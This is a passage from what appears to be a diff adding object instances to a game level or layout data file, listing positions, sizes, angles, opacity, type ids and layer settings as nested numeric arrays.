+ 114,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7088,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5759,
+ 114,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7089,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5525,
+ 115,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7090,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5603,
+ 115,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7091,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5883,
+ 1018,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 502,
+ 7092,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5883,
+ 1110,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 503,
+ 7093,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5973,
+ 1018,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 502,
+ 7094,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6063,
+ 1018,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 502,
+ 7095,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5973,
+ 1110,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 503,
+ 7096,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6063,
+ 1110,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 503,
+ 7097,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5883,
+ 1202,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 7098,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5974,
+ 1202,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 7099,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6064,
+ 1202,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 7100,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5884,
+ 1294,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 7101,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5973,
+ 1294,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 7102,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6063,
+ 1294,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 7103,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5993,
+ 584,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7104,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6071,
+ 584,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7105,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5837,
+ 585,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7106,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5915,
+ 585,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7107,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5914,
+ 506,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7108,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5992,
+ 506,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7109,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5836,
+ 506,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7110,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5914,
+ 350,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7111,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5992,
+ 350,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7112,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5836,
+ 350,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7113,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5914,
+ 428,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7114,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5992,
+ 428,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7115,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5836,
+ 429,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7116,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5914,
+ 193,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7117,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5992,
+ 193,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7118,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5836,
+ 193,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7119,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5914,
+ 271,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7120,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5992,
+ 271,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7121,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5836,
+ 272,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7122,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5914,
+ 114,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7123,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5992,
+ 114,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7124,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5836,
+ 115,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7125,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5915,
+ 35,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7126,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5993,
+ 35,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7127,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5837,
+ 35,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7128,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5631,
+ 960,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 7129,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5663,
+ 960,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 7130,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5694,
+ 960,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 7131,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5725,
+ 960,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 7132,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5767,
+ 960,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 7133,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5799,
+ 960,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 7134,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5830,
+ 960,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 7135,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5861,
+ 960,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 7136,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2442,
+ 564,
+ 0,
+ 44.38199996948242,
+ 21.39800071716309,
+ 0,
+ -0.7823646664619446,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 518,
+ 7138,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4293,
+ 1089,
+ 0,
+ 44.38199996948242,
+ 21.39800071716309,
+ 0,
+ -0.7823646664619446,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 519,
+ 7139,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5190.5849609375,
+ 909.8418579101562,
+ 0,
+ 30,
+ 715,
+ 0,
+ -1.186824321746826,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 7140,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4571.923828125,
+ 742.577880859375,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 7141,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4712.873046875,
+ 743.4093627929688,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 7142,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4063,
+ 986,
+ 0,
+ 38,
+ 34,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 7143,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4320,
+ 890,
+ 0,
+ 38,
+ 34,
+ 0,
+ -1.570796370506287,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 7144,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1937.797485351563,
+ 836.4844360351562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 7145,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1872.73193359375,
+ 836.4844360351562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 7146,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2145,
+ 1075,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 7147,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2177,
+ 1075,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 7148,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1354,
+ 1205,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 7149,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1671,
+ 590,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 7151,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2095.712890625,
+ 353.6788635253906,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 7152,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2291.014404296875,
+ 561.765869140625,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7153,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1598,
+ 36,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7154,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -605,
+ -121.5,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 7155,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 397,
+ -86,
+ 0,
+ 104.6947937011719,
+ 104.6947937011719,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 539,
+ 7156,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 164,
+ 982,
+ 0,
+ 543,
+ 250,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 7157,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1053.5,
+ 1224,
+ 0,
+ 270,
+ 736,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 7158,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1231,
+ 990,
+ 0,
+ 270,
+ 90,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 7159,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1141,
+ 1174,
+ 0,
+ 270,
+ 90,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 7160,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1354.5,
+ 1404.5,
+ 0,
+ 381,
+ 369,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 7161,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1504.5,
+ 806.5,
+ 0,
+ 264,
+ 86,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 7162,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1502,
+ 1080.5,
+ 0,
+ 90,
+ 91,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 7163,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1682,
+ 989,
+ 0,
+ 268,
+ 91,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 7164,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1904.5,
+ 898,
+ 0,
+ 359,
+ 91,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 7165,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2295,
+ 988,
+ 0,
+ 179,
+ 91,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 7166,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2070,
+ 1313.5,
+ 0,
+ 91,
+ 372,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 7167,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2197.5,
+ 1407,
+ 0,
+ 194,
+ 372,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 7168,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2386,
+ 1176,
+ 0,
+ 362,
+ 96,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 7169,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1556.21826171875,
+ 726.3148803710938,
+ 0,
+ 162.0699462890625,
+ 86,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 7170,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1786.5595703125,
+ 646.8865966796875,
+ 0,
+ 466.9254150390625,
+ 82.97503662109375,
+ 0,
+ 0,
+ 0.800000011920929,
